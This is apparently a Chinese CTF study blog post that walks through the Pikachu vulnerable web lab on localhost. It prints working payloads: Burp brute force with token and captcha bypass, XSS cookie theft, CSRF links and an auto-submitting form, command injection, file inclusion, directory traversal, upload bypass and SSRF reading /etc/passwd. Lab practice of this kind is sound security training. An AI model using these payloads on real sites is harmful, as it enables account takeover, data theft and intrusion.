4
12
2019
0

网络攻防练习-Pikachu平台

最近进了CTF的坑,于是时间再次被压榨……

开个文章记录一下学习过程

之前把JarvisOJ和NUPT_CTF的题刷了一些

这篇文章主要基于Pikachu平台进行Web方向的CTF练习

环境使用Windows10-64bit和Firefox浏览器,平台使用Apache2.4+Mysql8.0+PHP7.3.4

具体的平台在https://github.com/zhuifengshaonianhanlu/pikachu

占坑待填~

---------------------------------------

这文章访问量比我之前几篇都高……我也不知道为什么

那就写一下吧,不然太对不起读者了

下文列出的工具基本上都能在52pojie论坛上找到。

对于本机无法被burpsuite抓包的问题,我自己谷歌始终不抓包,换成火狐浏览器再设置下就好了

传图太麻烦了,这回就纯文字描述一下……求谅解……

---------------------------------------

暴力破解
---------------------------------------
基于表单的暴力破解:
你需要使用Burpsuite,我自己用的是Burpsuite Pro v1.7.30
首先你要下载一个字典合集:https://github.com/danielmiessler/SecLists 基本包含了各种常用的字典。
打开Burpsuite,打开Proxy-Options,运行Proxy Listeners的服务器127.0.0.1:8080
打开火狐,我装的插件有Hackbar、User-Agent Switcher和FoxyProxy Standard。
在Foxy里面配置好本地代理127.0.0.1:8080,打开页面
我们能看到有两个输入框:Username和Password。
接下来我们随便输入几个字符(用户名和密码都是123)进去,用Burpsuite抓包(记得打开Proxy-Intercept里面的开关)
看到抓到的包长这个样子:
POST /pikachu/vul/burteforce/bf_form.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://localhost/pikachu/vul/burteforce/bf_form.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
DNT: 1
Connection: close
Cookie: PHPSESSID=qcoa6i4788q6cafbso3uh40oan
Upgrade-Insecure-Requests: 1

username=123&password=123&submit=Login
注意这里username和password都直接明文显示了,我们点击一下Forward看看反应。
网页显示:username or password is not exists~,然后继续让你输入。
这就比较好办了,我们选择Proxy-HTTP History,找到刚才的POST指令,右键Send to Intruder(主要用来爆破密码)
点开Intruder-Positions,选择攻击方式为Cluster Bomb
大致说下四种攻击方式的区别:
Sniper一般只针对单个位置攻击(将某个位置改变,其他位置不变进行爆破,选择多个位置则都这么操作一次)
Battering ram是将多个位置同时替换成某个一样的值
Pitchfork是将某个表(或者之类的东西)中第一个用在第一个位置,第二个用在第二个位置……以此类推(轮流,对付某些防御方式有效)
Cluster Bomb则是指定多个位置,分别穷举替换。
我们这里采取第四种方法。
选完之后删掉不用的Payload位置(PHPSESSID和sumbit位置的),点击Payload导入刚才说的seclist字典
这里用户名就用最普通的那个,密码选择darkweb10000字典(Payload options我选的是simple list,然后load文件选字典)
点击Start attack开始攻击
攻击完成后按照Length从小到大排序,看看那几个不同的,就有了我们需要的账户和密码。
这里字典没有pikachu这样的用户,也就没法猜出来了……不过对于常见的无验证弱口令都基本上可以这么爆破。
---------------------------------------
验证码绕过(on server):
看题目就知道这次的验证码是在服务端
我们先观察下这个网页。
这次有三个框要填,我们像刚才一样先随便填写一下。
先试试123 123 错误验证码,提示:"验证码输入错误哦!"
再试试123 123 正确验证码,提示:"username or password is not exists~"
一般来说这就是说先检查验证码,再去检测用户名和密码。
查看下网页源代码(F12),发现这个验证码图片是用一个php生成的:showvcode.php
这下不太好办了,似乎是在服务端处理的操作。
那么是不是就不行了呢?
我们再复现一次正确验证码的操作,用Burpsuite抓包。
POST /pikachu/vul/burteforce/bf_server.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://localhost/pikachu/vul/burteforce/bf_server.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 51
DNT: 1
Connection: close
Cookie: PHPSESSID=qcoa6i4788q6cafbso3uh40oan
Upgrade-Insecure-Requests: 1

username=123&password=123&vcode=lua63g&submit=Login
这里发现vcode也是发过去的。然后Forward几个Request包
似乎状况不妙,但是我们一定要想办法。
我们看下提示,是说“这个验证码始终有效”
那么我们考虑将这个正确的验证码的包反复发,看看行不行。
再输入一次正确验证码,然后卡住Intercept不Forward。
直接把这个包在Intercept界面右键Send to Repeater(反复发包)
我们Go一下,右侧界面拖到最下面往上一点显示"username or password is not exists~"
我们再Go一下,再拖一次,照样这么显示。
那么我们就利用这个包进行暴力破解。
右键Repeater的这个包,Send to Intruder
剩下的流程就和上一个一样了,不再赘述
---------------------------------------
验证码绕过(on client):
看题目就知道这次验证码在本地
我们发现这次还是三个框。
不过这次验证码看上去不像一张图片,我们再试一下查看元素
发现这个是一个createCode的函数实现的。
那么我们搜索源代码,找找这个函数。
我们发现这个函数就在网页中写着,而且判断也在网页中判断,错误就直接alert。
那么我们只需要按下F2把这个函数改成直接return true,然后用第一题的方式暴力发包即可。
---------------------------------------
token防爆破?:
看题目名就知道这次不好做
我们先观察,看到这次就两个框,貌似能直接用第一题的方法爆破。
于是做一番尝试,我们就发现Intruder显示的都一样,没法判断这个用户名密码是否是正确的。
似乎陷入绝境了?我们百度一下
发现返回包中的token值在不停的变化。
我们猜测每次发包中包的token需要和上一次包中返回的token一样。我们要利用这点。
随便输入123 123,Intercept发到Intruder
选择Cluster Bomb,在Options里把thread调整成1(这个方法要求获得的新的来自前一个,没法并发)
在Options选择Grep - Extract(下面英文解释了从返回值中获得有效信息)
Add - Fetch response
选中新的token然后点击Ok
下面的Redirections选择Always,因为我们需要重新定向到更新了token的网页(存疑,我试了Never发现也能正常破解)
我们返回Payloads页面,前两个按照正常的操作(之前题目1的操作)
第三个(token),我们更改Payload Type为Recursive grep(递归抓取)
然后开始Attack,选择Pitchfork模式
然而因为用户名行数很少,所以就爆破失败了。
用cluster bomb,就会出现抓不到payload3的情况,也就是没办法同时爆破用户名和密码。
想了好一会儿又百度了一阵子,没啥好的解决方法,只能先固定用户名然后爆破密码了。这也太不智能了。
还有一种方法就是复制字典很多遍,这个可以写程序做到,不过太智障了
还有一个办法就是写脚本爆破,不过我python url方面不熟,先不管了
还有一件事,就是每次都要先发个request 0 过去,这样会导致第一次密码必定无法提交(token不正确);我也没办法解决这个问题,只好把第一个密码在加在最后,这样可以保证每个密码都尝试。
本题结束
---------------------------------------
Cross-Site Scripting(XSS)
---------------------------------------
反射型xss(get):
看提示发现直接输入kobe,如果啥都不输入直接sumbit也会告诉你输入kobe
我们观察一下,有一个文本框,有个按钮要我们提交。
先随便输个123然后抓包
GET /pikachu/vul/xss/xss_reflected_get.php?message=123&submit=submit HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://localhost/pikachu/vul/xss/xss_reflected_get.php
DNT: 1
Connection: close
Cookie: PHPSESSID=qcoa6i4788q6cafbso3uh40oan
Upgrade-Insecure-Requests: 1

发现我们输入的123传到了php的网址上面,而不是内容发包。

然后我们观察结果,会有“who is 123,i don't care!”的字样。也就是说,这个网页会输出你输入的东西。

那么,我们随便改一下输入的东西,比如<script>alert(1);</script>

然后,我们就发现这个框限制了输入的长度。

没关系,我们直接在地址栏进行输入,于是跳出了一个框为数字1

那么,这个框对输入就没有过滤,可以进行攻击了。

本题结束(反正没有要测试的点)

---------------------------------------
反射性xss(post):
观察一下,有两个框,一个提交按钮。
我们先随便输入123 123抓包
POST /pikachu/vul/xss/xsspost/post_login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://localhost/pikachu/vul/xss/xsspost/post_login.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
DNT: 1
Connection: close
Cookie: PHPSESSID=qcoa6i4788q6cafbso3uh40oan
Upgrade-Insecure-Requests: 1

username=123&password=123&submit=Login

看上去像个爆破?这样不太好233

我们还是练习一下XSS。

先用给的密码登录上去,发现了上一题的窗口。

我们的目标是不登录但是伪装成管理员,所以构造一个payload为<script>alert(document.cookie)</script>

然后提交一下,我们就拿到了管理员的cookie。

观察一下,发现[pw]字样后面跟的像个md5,拿到www.cmd5.com查询一下,得到密码123456。

不这样的话,直接用这个cookie来伪造登录也是可行的。因为一般像密码这种都进行了加密,md5其实是不常用的。

也就是说,如果我们能在管理员登录时设法拿到cookie,就能伪装身份了。(比如把cookie发送到自己的网站)

具体修改方式:你先拿到cookie,然后在要伪装的界面按F12,选择菜单中的Hackbar,下面有一行cookie,选中后填写cookie就可以了。

本题测试方式:拿到cookie之后,在不登录情况下访问xss_reflected_post.php会跳转到post_login,但是用Hackbar改完cookie之后就可以直接访问xss_reflected_post.php了,能正确显示。缺点是sumbit之后会跳转回去(不持久),还是专门下个保存cookie的插件比较好,我推荐Cookie Editor,除了那个js代码转换麻烦点,这样就可以一直用admin的身份登录了。

---------------------------------------
存储型xss:
给了个留言板。
于是,我们构造<script>alert(document.cookie)</script>
直接得到了cookie。。。
具体用法:你留好这次言后,每次重新访问这个页面都会跳框显示cookie。
于是,攻击者可以把跳框改成发送这个cookie到自己的服务器上,从而伪装成访问过这个留言板的所有用户来访问这个网站。
本题结束
---------------------------------------
DOM型xss:
像往常一样构造<script>alert(document.cookie)</script>,然后会跳出来一个"what do you see?",点进去发现是直接在前一层菜单加上输入的文字。
打开提示,叫我们看看DOM是啥
结果网址点不开……上网查下,咋感觉就是普通的网址访问
于是右键查看元素,看到跳转函数是domxss()
Ctrl+F查找下,发现提示直接用注释写在里面了= =
我没用给的构造,自己写了个payload '> <img src=0 onerror=alert("123")>
本题结束
---------------------------------------
DOM型xss-x:
这题给人一种和上一题一样的感觉
随便输点东西,就跳出了一个类似的跳转
我们右键审查元素,看到一行代码onclick=domxss()
于是,我们Ctrl+F查找domxss()
发现了熟悉的代码
跟上一题一样构造即可,用法是点击那个超链接,相对于直接弹窗要好一些。
这种提交方式可以一定程度防止XSS攻击……
本题结束
---------------------------------------
xss之盲打:
随便构造<script>alert("123")</script>,用提示的后台登录显示弹窗
本题结束
---------------------------------------
xss之过滤:
随便输个123
显示 别说这些'123'的话,不要怕,就是干!
观察一下源代码,发现是form method=get,是用get方式传输参数
输入<script>alert("123")</script> 发现无法正常显示
发现过滤了关键字,试一下<ScRipT>alert("123")</ScriPt>
被Google Chrome拦截了。。。(好吧我习惯用Chrome做题)
改成火狐,成功弹框
本题结束(这个过滤不行……之前打比赛被关键字过滤到怀疑人生)
---------------------------------------
xss之htmlspecialchars:
按照提示,先百度一下
感觉没啥特别的,就是字符串转成HTML实体,好像没啥大区别
构造<script>alert("123")</script>,发现会有一个超链接,根据题目意思估计这个是a href的一个字符串用htmlspecialchars转换来的
那么重新构造'><script>alert("123")</script>,发现不行,打开源码看下发现出现了&gt;这样的字符
百度一下发现这个是字符实体,应该是过滤了尖括号,那就改用圆括号吧
构造'onclick='alert("123")' 点击后成功弹窗
然后发现'onmousemove='alert(123)'效果更好,鼠标移上去就弹,在现实中更容易攻击成功
其实还有一个onload,理论上效果最好,但是上网查一下发现这个事件只能放在body iframe之类的框架中,一般用不了
本题结束
---------------------------------------
xss之href输出:
先随便输入一下,发现是挂靠在网址后面的,用了一些构造没啥效果,估计是全部被转换为实体了
看下提示,感觉还不明白,只好上百度看下,然后搜到了某网站的收费课程(这也能收费。。。反正我很无语)
没办法,再搜索一番,找到了一个构造:Javascript:alert(123)
原理是利用a href能直接启动js,而且这次过滤没有过滤括号和引号
本题结束
---------------------------------------
xss之js输出:
随便输入123,点击
输出 无论如何不要放弃心中所爱.. 感觉很迷
查看源代码,发现了一段script
<script>
    $ms='123';
    if($ms.length != 0){
        if($ms == 'tmac'){
            $('#fromjs').text('tmac确实厉害,看那小眼神..')
        }else {
//            alert($ms);
            $('#fromjs').text('无论如何不要放弃心中所爱..')
        }

    }


</script>

思考一下,模仿这个语法,构造 ';alert(123);' 弹框成功

本题结束

---------------------------------------
Cross-site request forgery(CSRF)
---------------------------------------
CSRF(get):
我们来看一下提示,然后登录一下看看各个用户的信息。vince是个boy,lili是个girl。我们来试试在不登录vince帐号的情况下修改一下vince的信息,将他从一个boy变成一个girl
打开Burpsuite,登录lili的账户,选择修改个人信息
点击submit,这个时候看下burp抓到的包
GET /pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=18656565545&add=usa&email=lili%40pikachu.com&submit=submit HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://localhost/pikachu/vul/csrf/csrfget/csrf_get_edit.php
DNT: 1
Connection: close
Cookie: PHPSESSID=e3287kdaea22h96ds9sod9epai
Upgrade-Insecure-Requests: 1

很显然,这个修改信息的过程放在了GET里面,而且明文未加密和验证。

那么,我们就来改造一下信息,构造一个钓鱼网址,原网址是

localhost/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=18626545453&add=chain&email=vince%40pikachu.com&submit=submit

钓鱼改造后

localhost/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=123&add=hacker&email=hahaha%40pikachu.com&submit=submit

这个时候,我们假装是vince,登录后点击了这个钓鱼连接

然后我们刷新一下,发现他的信息就全都被改掉了

本题结束

---------------------------------------
CSRF(post):
这个漏洞用起来很麻烦
我们先观察一下包的格式:
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://localhost/pikachu/vul/csrf/csrfpost/csrf_post_edit.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 73
DNT: 1
Connection: close
Cookie: PHPSESSID=f5jrga2nqbodqeqke3u74bjklv
Upgrade-Insecure-Requests: 1

sex=girl&phonenum=123&add=hacker&email=hahaha%40pikachu.com&submit=submit
post相对于get,没办法直接通过一个普通的网址访问进行修改了
但是,可以通过构造一个特定的网页,在网页内部插入一些特定的代码来进行修改
方法:我在localhost/pikachu/下新建一个页面test.html
html代码是
<body>
    <form id="form1" name="form1" action=http://localhost/pikachu/vul/csrf/csrfpost/csrf_post_edit.php method=POST>
        <input type="text" name="sex" value="1234"/>
        <input type="text" name="phonenum" value="1234"/>
        <input type="text" name="add" value="1234"/>
        <input type="text" name="email" value="1234"/>
        <input type="submit" id="up" name="submit" value="submit"/>
    </form>
    <script> document.getElementById("up").click() </script>
</body>
这里我们为什么不用document.form1.submit()呢?因为这样就没有办法在发的POST中带有submit=submit了,从而导致修改失败。
所以只好拐个弯,用id来实现自动点击然后发包。
这样,假如用户vince在登录状态点击了localhost/pikachu/test.html,那么他的个人信息就会被修改成全为1234
本题结束
---------------------------------------
CSRF Token:(未解决)
这个题有些麻烦。
前两天在刷XCTF_Adworld的MISC和WEB,今天重新观察了一下这个题,感觉还是可以做的
我们先打开网页,登上一个号,然后修改信息,在修改提交时抓包
GET /pikachu/vul/csrf/csrftoken/token_get_edit.php?sex=12345&phonenum=12345&add=12345&email=12345&token=619315cc877bea293a145215890&submit=submit HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://localhost/pikachu/vul/csrf/csrftoken/token_get_edit.php
DNT: 1
Connection: close
Cookie: PHPSESSID=pag7hgjdae6c6c79j6vfktg3dg
Upgrade-Insecure-Requests: 1

然后我们就发现了除了本来就有的那些信息,多了一个token。
我们F12审计一下代码,搜索token找到一个标签,里面的值正是token。也就是说我们需要想办法获得这个token并且把这个请求发出去。
我们像上一题一样构造一个文件,不过这回我们用php
首先要解决获取token的问题。之前暴力破解部分的token防爆破这题会给我们一些启发。
考虑之前暴力破解的时候burpsuite是用正则匹配网页内容然后获取token直接发包,我们来采取相似的方法
首先,我不会正则表达式,那么我们可以借用Burpsuite的Inturder的Options提供的grep,注意那个窗口右上角有Extract from regex group,我们把这里面那个字符串选出来
"token" value="(.*?)" />\n   <input
于是我们就有了一个用来提取的正则表达式。
现在我们百度一下PHP提取网页内容和PHP正则匹配,然后用这些知识编写一个php出来
然后就发现很难在PHP中获取cookie,导致获取的网页内容是没有登录的
所以暂时搞不定这个……
先学别的,学完回来继续搞这个
---------------------------------------
SQL-inject
---------------------------------------
---------------------------------------
RCE
---------------------------------------
exec "ping":
貌似是一个ping函数
考虑在cmd中执行ping是 ping xxx.xxx.xxx.xxx
那我们利用一点小技巧,在文本框中输入 1 | time
显示了当前的时间,说明没有过滤
本题结束
---------------------------------------
exec "evel":(我怀疑造pikachu的人打错字了,这个明明是eval)
提交一个字符串,然后报错
去百度一下错误原因,发现是eval的东西要符合php格式
那我写个echo "hi";
就出现了hi
本题结束
---------------------------------------
File Inclusion
---------------------------------------
File Inclusion(local):
我们发现这是一个看球星的网页,可以通过选择球星提交查询看资料和图
于是,我们观察地址栏,有个filename=
于是我们换点东西写进去
filename=../../../index.php
看到了整个主页被包含
本题结束
---------------------------------------
File Inclusion(remote):(未解决)
显示我的php.ini没启用allow_url_include
好吧,下次启用了再试试这个漏洞
---------------------------------------
Unsafe Filedownload
---------------------------------------
Unsafe Filedownload:
观察发现网址格式为http://localhost/pikachu/vul/unsafedownload/execdownload.php?filename=XXX.png,似乎没有过滤
那么我们构造http://localhost/pikachu/vul/unsafedownload/execdownload.php?filename=../down_nba.php
发现可以下载本页面
本题结束
---------------------------------------
Unsafe Fileupload
---------------------------------------
client check:
提示只能传图。
那么我们试着传别的东西,发现刚刚一选择就提示不符合要求。还没传上去,怎么知道不符合呢?八成是本地验证。
观察源代码,发现了checkFileExt的函数,我们删了这个东西,然而还是传不上去,看上去就和没有删除一样,推测是script已经被加载进去了
用firefox,提示重新发送表单,那我们就不发送就行,于是成功上传非图片
本题结束
---------------------------------------
MIME type:
听题目名知道方法
用Burpsuite抓上传数据包,更改Content-type为Content-Type: image/jpeg
本题结束
---------------------------------------
getimagesize:(未解决)
函数存在问题,通过判定文件头决定是否为图片,显然不靠谱
那我写一个php,然后用010 Editor改下文件头,就能成功上传
不过这个东西没法正常被解析,因为后缀名做了判断。
利用nginx解析漏洞即可执行,可惜我是apache服务器所以不行。
那就先跳过
---------------------------------------
Over Permission
---------------------------------------
水平越权:
先看下提示,给了三个帐号
我们登陆一下kobe的账号,发现可以看自己的信息
观察地址栏,发现名字是明文直接传的
把username改成lili,于是就能看别人信息了
本题结束
---------------------------------------
垂直越权:
先看提示,给了两个账户,一个低权限一个高权限
分别登录一下,发现普通用户只能看,而高级用户可以加新的用户
那么我们先随便加一个用户,用burpsuite看下过程
POST /pikachu/vul/overpermission/op2/op2_admin_edit.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://localhost/pikachu/vul/overpermission/op2/op2_admin_edit.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 92
DNT: 1
Connection: close
Cookie: PHPSESSID=bj0a33dn51c0dqb4p19ocvhg9k
Upgrade-Insecure-Requests: 1

username=hahaha&password=123456&sex=h&phonenum=h&email=h&address=h&submit=%E5%88%9B%E5%BB%BA
是用POST发包
于是,我们观察一下,发现貌似没有权限判断的过程(除了一个cookie)
试试在普通用户的视角,看看能不能直接发包加用户
打开hackbar,模仿这个包进行发包
发完后我们再用普通用户登录下进行观察,发现果然成功了
本题结束
---------------------------------------
../../
---------------------------------------
目录遍历:
我们打开网页,发现两个超链接
随意点击一个,然后就看到了一段文字
注意此时网页地址栏显示的是dir_list.php?title=truman.php
我们改写一下,改成dir_list.php?title=../../../../index.php
成功显示了原来主页(pikachu上一级的)内容。
本题结束。
---------------------------------------
敏感信息泄露
---------------------------------------
IcanseeyourABC:
是个登录框
看下源代码,发现测试账号lili/123456
然后登上去
发现王小波的一段话,好像这个题就没了
---------------------------------------
PHP反序列化
---------------------------------------
PHP反序列化漏洞:
这题给了payload
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
如果没给,这题除了看php代码没什么好办法,因为不知道序列化的对象名称和变量
本题结束
---------------------------------------
XXE
---------------------------------------
---------------------------------------
URL重定向
---------------------------------------
不安全的URL跳转:
注意到链接形式为http://localhost/pikachu/vul/urlredirect/urlredirect.php?url=xxxx的形式
那么我们就可以通过改后面的地址随意跳转了
本题结束
---------------------------------------
SSRF
---------------------------------------
SSRF(curl):
这题是地址的问题
那么我们在地址http://localhost/pikachu/vul/ssrf/ssrf_curl.php?url=xxxx随意把xxxx进行更改,就能显示对应网页
具体用法是有个外网服务器,然后让服务器访问这个外网服务器然后获取cookie之类的东西
本题结束
---------------------------------------
SSRF(file_get_content):
获取文件内容
直接和上题相似,输入文件的地址就行
常见的有输入/etc/passwd之类的,类似文件包含
本题结束
 
 
未完待续~

 

Category: CTF | Tags: CTF | Read Count: 684

登录 *


loading captcha image...
(输入验证码)
or Ctrl+Enter

Host by is-Programmer.com | Power by Chito 1.3.3 beta | Theme: Aeros 2.0 by TheBuckmaker.com